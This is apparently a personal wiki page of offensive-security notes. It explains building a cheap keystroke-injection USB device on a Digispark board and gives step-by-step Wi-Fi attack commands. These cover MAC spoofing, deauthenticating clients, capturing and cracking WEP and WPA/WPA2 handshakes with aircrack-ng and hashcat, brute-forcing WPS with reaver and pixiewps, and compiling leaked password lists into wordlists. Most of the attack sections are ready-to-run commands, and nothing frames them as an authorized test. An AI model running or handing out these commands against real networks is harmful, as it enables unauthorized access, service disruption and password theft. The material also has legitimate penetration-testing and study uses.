Offensive

Rubber Ducky

Screw the $45~ thing, we're making our own for $1.15~.

https://hackernoon.com/low-cost-usb-rubber-ducky-pen-test-tool-for-3-using-digispark-and-duck2spark-5d59afc1910

https://github.com/PlatyPew/Digispark-Duckduino

https://github.com/mame82/duck2spark

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Open Arduino IDE; File -> Preferences -> Additional Boards Manager URLs
http://digistump.com/package_digistump_index.json

Tools -> Board -> Boards Manager -> Digistump AVR Boards - install it.

```
# cat > /etc/udev/rules.d/49-micronucleus.rules << EOF
SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
EOF

reboot
```

You can now flash stuff to the board by selecting it as 'Digispark Default 16.5mhz'.

Do not plug the board before compiling process, do it after when you'll be prompted.

```
## This seems not needed anymore as the AVR package ships up to date micronucleus, and the project stopped providing precompiled linux library?
#git clone https://github.com/micronucleus/micronucleus.git
#cp ~/micronucleus/commandline/micronucleus /home/c0rn3j/.arduino15/packages/digistump/tools/micronucleus
```

General

http://tools.kali.org/tools-listing

Hashcat

Hashcat is a tool to crack various hashes, passwords and other formats. Hashcat is now merged into one OpenCL version(used to have a CUDA version for nvidia GPUs- CudaHashcat, the new hashcat only supports OpenCL).

For WPA2 it uses a new(2017) format called hccapx.

Attacking 802.11

[1] [2] [3]

http://tools.kali.org/wireless-attacks/mdk3

Preparation:

Packages: aircrack-ng wireshark-qt macchanger reaver-wps-fork-t6x

---

Kill your network manager service to avoid it interfering.

I am using NetworkManager.

sudo systemctl stop NetworkManager - sometimes it starts again so just try this twice...

Then use **sudo airmon-ng** to find out your interface name for the wireless card you want to use. If it is not listed, you are either lacking drivers or it is not compatible.

After finding out your interface name, turn your WLAN card into monitor mode with **sudo airmon-ng start *yourInterface***, you will then have a **_yourInterface_mon** interface you can use. You can use the **–verbose** flag with the command to diagnose possible issues if it is not working as intended. You can use **stop** instead of **start** to make the interface go back to managed mode and use wi-fi as usual.

Since the default interface tends to be ***wlp8s0***, that is what I am going to use for this page.

Change your MAC:

ip link set dev wlp8s0 down - bring the interface down so you can make changes to it

macchanger -r wlp8s0 - randomize MAC address completely. Alternatively use -m option and supply an address starting with 68:5D:43 or any other vendor specific address, as some routers and networks will not allow MAC that is not assigned to any vendor. (MAC is in this format XX:XX:XX:YY:YY:YY where XXXXXX is vendor specific and YYYYYY is random)

ip link set dev wlp8s0 up

Wifite

There is a script called **wifite** that can do most of these attacks even if the attacker doesn't understand them. It fails in some more complicated cases.

git clone https://github.com/derv82/wifite

cd wifite/

sudo python2.7 ./wifite.py

Scan your surroundings

sudo airodump-ng wlp8s0mon

MAC address filtering

Use airodump to look for an active client and change your MAC address to theirs.

Hidden SSID

aireplay-ng -0 0 -a 00:1F:1F:1F:1F:1F -c 00:1F:1F:1F:1F:1F --ignore-negative-one wlp8s0mon

while running airodump. Successfully deauthing a client will make them broadcast the SSID in the clear because they'll have to reconnect.

WEP

airmon-ng start wlp8s0

```
airodump-ng wlp8s0mon
```

```
airodump-ng -w wep -c CHANNEL --bssid BSSID wlp8s0mon
```

```
aireplay-ng -1 0 -a BSSID wlp8s0mon
```

```
aireplay-ng -3 -b BSSID wlp8s0mon
```

```
aircrack-ng filename.cap
```

WPA/WPA2-PSK

```
airmon-ng start wlp8s0
```

```
airodump-ng wlp8s0mon
```

```
airodump-ng -c CHANNEL -w filename --bssid BSSID wlp8s0mon
```

```
aireplay-ng -0 0 -a BSSID wlp8s0mon
```

After obtaining 4-way handshake:

```
aircrack-ng –w WORDLIST -b BSSID filename.cap
```

WPA2-MGT MSCHAPv2

http://pastebin.com/CnJstqpH

WPS

Scan for WPS enabled APs

```
sudo wash -i wlp8s0mon
```

For Bruteforcing and logging for possible pixie attack. Use **-K 1** parameter to try pixiewps while reaver is running. The plain bruteforce attack might take minutes to days, but usually it's max 10 hours.

```
sudo reaver -i wlp8s0mon -b BSSID -c channel -f -S -vvv -H
```

After obtaining at least one response you can use **pixiewps** to try the offline pixie attack. Whole pixiewps command will be saved in a text file if you supplied the -H command. Pixie attack takes anywhere from a second to 30 minutes, and only works if the router is vulnerable to it.

Cracking a handshake/capture file

Using GPU

Converting .cap to .hccapx

Use cap2hccapx (from the hashcat-utils package)

```
cap2hccapx capture.cap capture.hccapx
```

HCCAP to password

```
hashcat -m 2500 -w 1 filename.hccapx wordlist.txt
```

Using CPU

IVS file crack aircrack-ng -a2 -b F8:8E:88:AA:FF:BB -w wordlist-final.txt ivsfile.ivs

Other stuff

Find out default gateway route -n

Obtaining wordlists

hashes.org have awesome leaked lists, so I'm going with a bunch these. You can find different lists on torrent trackers.

7z x xxx_found.7z -owordlists - extract file into a folder called 'wordlists'

cat xxx_found_sorted.txt xxx_found_sorted.txt xxx_found_sorted.txt > mywordlist.txt - join all lists into one

sed -r '/^.{,7}$/d' mywordlist.txt > WPAwordlist.txt - remove everything that is 7 characters or less from the file and write that to a new file. WPA/2 does not accept less than 8 characters.

sort -T ~ -u WPAwordlist.txt > WPAwordlist_sorted.txt - change temporary directory to the home directory(sort would fail on a big file if /tmp is too small) and sort into a new file

Revision #2
Created 29 June 2021 07:57:00 by C0rn3j
Updated 29 June 2021 11:44:41 by C0rn3j